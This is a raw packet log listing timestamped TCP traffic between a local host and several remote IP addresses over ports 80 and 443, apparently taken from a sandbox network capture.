Oct 30, 2024 11:46:51.916516066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916528940 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916543007 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916565895 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.916590929 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.916654110 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916685104 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916692019 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.916699886 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916712046 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916726112 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916731119 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.916740894 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916754007 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916768074 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916773081 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.916781902 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916794062 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916800976 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.916810036 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.916817904 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.916860104 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.916990995 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.917002916 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.917015076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.917042017 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.917066097 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.951267004 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951292992 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951318026 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951333046 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951344967 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951356888 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951364994 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.951392889 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.951437950 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951446056 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.951452971 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951472998 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951486111 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.951486111 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951498032 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.951531887 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.951566935 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.952404976 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952416897 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952429056 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952441931 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952454090 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952466011 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.952466011 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952483892 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952500105 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.952517986 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952529907 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.952532053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952544928 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952557087 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952569962 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.952572107 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.952606916 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.952631950 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.981944084 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982001066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982016087 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982033014 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982037067 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.982068062 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.982105970 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.982109070 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982120037 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982131958 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982145071 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982160091 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.982249022 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.982688904 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982732058 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982743025 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982745886 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.982779980 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982791901 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982795000 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.982804060 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.982865095 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.982928991 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.982976913 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983004093 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983014107 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983030081 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983071089 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983172894 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983185053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983208895 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983220100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983225107 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983232021 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983252048 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983292103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983448982 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983513117 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983522892 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983547926 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983563900 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983683109 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983731031 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983737946 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983741999 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983752012 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983840942 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983840942 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983848095 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983901024 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983901978 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983912945 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983952045 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.983969927 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983980894 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.983990908 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.984019041 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.984041929 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.984165907 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.984189987 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.984200001 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.984216928 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.984250069 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.984384060 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.984395027 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.984405041 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.984416962 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.984427929 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:51.984441996 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.984464884 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:51.984486103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.247699022 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.247813940 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.247867107 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.247880936 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.247900963 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.247912884 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.247917891 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.247925043 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.247944117 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.247956991 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.247963905 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.247992039 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.247997999 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248028040 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248051882 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248064041 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248074055 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248085976 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248090982 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248099089 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248104095 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248122931 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248136044 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248142958 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248150110 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248159885 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248191118 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248203993 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248203993 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248209000 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248220921 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248233080 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248235941 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248245001 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248255968 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248256922 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248267889 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248269081 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248280048 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248290062 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248296022 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248310089 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248318911 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248327017 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248334885 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248336077 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248337030 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248337984 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248339891 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248343945 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248343945 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248343945 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248354912 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248367071 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248378038 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248389959 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248406887 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:52.248406887 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248406887 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248415947 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248440981 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.248465061 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:52.548949003 CET	443	58197	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:52.549041986 CET	58197	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:52.551948071 CET	58197	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:52.551960945 CET	443	58197	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:52.552285910 CET	443	58197	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:52.555789948 CET	58197	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:52.555927992 CET	58197	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:52.555963993 CET	443	58197	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:52.556027889 CET	58197	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:52.556037903 CET	443	58197	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:53.213485003 CET	443	58197	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:53.213607073 CET	443	58197	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:53.213759899 CET	58197	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:53.213799953 CET	58197	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:54.571060896 CET	58191	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:54.571331024 CET	58198	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:54.576659918 CET	80	58198	185.215.113.43	192.168.2.7
Oct 30, 2024 11:46:54.576725960 CET	58198	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:54.576975107 CET	80	58191	185.215.113.43	192.168.2.7
Oct 30, 2024 11:46:54.577020884 CET	58191	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:54.579756021 CET	58198	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:54.585136890 CET	80	58198	185.215.113.43	192.168.2.7
Oct 30, 2024 11:46:54.620214939 CET	58199	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:54.620312929 CET	443	58199	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:54.620372057 CET	58199	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:54.620672941 CET	58199	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:54.620697975 CET	443	58199	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:55.230149031 CET	443	58199	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:55.230243921 CET	58199	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:55.232156992 CET	58199	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:55.232170105 CET	443	58199	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:55.232373953 CET	443	58199	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:55.234062910 CET	58199	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:55.234147072 CET	58199	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:55.234153986 CET	443	58199	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:55.487101078 CET	80	58198	185.215.113.43	192.168.2.7
Oct 30, 2024 11:46:55.487166882 CET	58198	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:46:55.489736080 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:55.490083933 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:55.495536089 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:55.495593071 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:55.495893955 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:55.495956898 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:55.496108055 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:55.501861095 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:55.673846960 CET	58201	80	192.168.2.7	185.215.113.206
Oct 30, 2024 11:46:55.679204941 CET	80	58201	185.215.113.206	192.168.2.7
Oct 30, 2024 11:46:55.679337978 CET	58201	80	192.168.2.7	185.215.113.206
Oct 30, 2024 11:46:55.679979086 CET	58201	80	192.168.2.7	185.215.113.206
Oct 30, 2024 11:46:55.685213089 CET	80	58201	185.215.113.206	192.168.2.7
Oct 30, 2024 11:46:55.713176012 CET	443	58199	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:55.713257074 CET	443	58199	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:55.713315010 CET	58199	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:55.713445902 CET	58199	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:55.713464975 CET	443	58199	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:56.254245996 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.254292965 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:56.254380941 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.254714966 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:56.254728079 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:56.423444986 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.423491955 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.423501968 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.423511982 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.423522949 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.423535109 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.423537016 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.423548937 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.423549891 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.423563957 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.423573971 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.423593998 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.423604012 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.423631907 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.423635006 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.423649073 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.423675060 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.423686028 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.429214001 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.429265022 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.429270983 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.429284096 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.429321051 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.575161934 CET	80	58201	185.215.113.206	192.168.2.7
Oct 30, 2024 11:46:56.575228930 CET	58201	80	192.168.2.7	185.215.113.206
Oct 30, 2024 11:46:56.577543974 CET	58201	80	192.168.2.7	185.215.113.206
Oct 30, 2024 11:46:56.583343983 CET	80	58201	185.215.113.206	192.168.2.7
Oct 30, 2024 11:46:56.586353064 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.586416960 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.586426020 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.586436033 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.586436987 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.586450100 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.586462021 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.586512089 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.586512089 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.586512089 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.587011099 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.587059021 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.587059975 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.587071896 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.587107897 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.587119102 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.587143898 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.587143898 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.587143898 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.587330103 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.587857008 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.587905884 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.587917089 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.587943077 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.587964058 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.587986946 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.587986946 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.588002920 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.588838100 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.588850021 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.588856936 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.588861942 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.588867903 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.589000940 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.589699030 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.589915991 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.589951038 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.590130091 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.591747999 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.591856003 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.592211008 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.592401981 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.749486923 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.749512911 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.749522924 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.749557018 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.749598026 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.749609947 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.749629021 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.749641895 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.749653101 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.749655008 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.749665976 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.749679089 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:56.749722004 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.749722004 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.749722004 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:56.750037909 CET	80	58200	185.215.113.16	192.168.2.7
